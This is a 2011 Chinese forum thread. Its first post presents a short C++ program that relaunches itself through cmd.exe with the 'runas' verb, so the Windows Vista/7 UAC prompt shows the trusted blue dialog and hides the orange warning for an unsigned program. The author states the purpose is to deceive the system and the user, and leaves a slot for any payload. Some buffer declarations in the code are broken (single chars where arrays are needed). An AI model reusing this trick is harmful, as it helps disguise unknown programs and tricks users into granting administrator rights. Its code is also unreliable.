balance 发表于 2011-6-13 21:28

vista、win7下欺骗 UAC

vista或win7在UAC完全开启下,运行一个没有数字签名的未知程序,总是以橙色框提示用户,如下图:

这样很容易引起用户的警觉。一般没有数字签名或微软不信任的程序都弹出橙色框,正常程序是弹出蓝色框。

本文以十多行代码解决此问题,使其弹出蓝色框:


这个是使用本文代码后弹出的蓝色框。

再看这个:

聪明的读者已经看出来了,其实就是利用cmd后跟参数欺骗操作系统和用户。代码如下:

#include "stdafx.h"
#include "Shellapi.h"

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR   lpCmdLine,
                     int       nCmdShow)
{
      // TODO: Place code here.

      char szPath[] = "c:\\windows\\system32\\cmd.exe";
      char szParam = {0};
      memset(szParam,0,sizeof szParam);
      strcpy(szParam,"/c start ");

      char szCurPath={0};
      char szShortPath={0};
      memset(szCurPath,0,MAX_PATH);   
      GetModuleFileName(NULL,szCurPath,sizeof(szCurPath)/sizeof(TCHAR));
      GetShortPathName(szCurPath,szShortPath,sizeof(szShortPath));

      strcat(szParam,szShortPath);
      
      HANDLE hMutex = CreateMutex(NULL, false, "Process");
      if (GetLastError() == ERROR_ALREADY_EXISTS)
      {
                CloseHandle(hMutex);
                return 0;
      }
      
      ShellExecute(NULL, "runas", szPath, szParam, NULL, SW_HIDE);
      MessageBox(NULL, "程序已运行!", "提示", MB_OK +MB_ICONWARNING); //表示程序已运行
      
      //在此添加功能逻辑...


      return 0;
}

“//在此添加功能逻辑...” 从这后面开始,我们就像写Win32程序一样,编写程序代码了,且无论什么程序都是以正常程序的蓝色框提示框显示。
本文虽说没有很高深的技术含量,简简单单十几行代码,但是思路和代码实现值得借鉴!






tcwjw 发表于 2011-6-13 22:19

使用CMD启动程序达到欺骗UAC的功能..

dayang1717 发表于 2011-6-13 23:15

页: [1]
查看完整版本: vista、win7下欺骗 UAC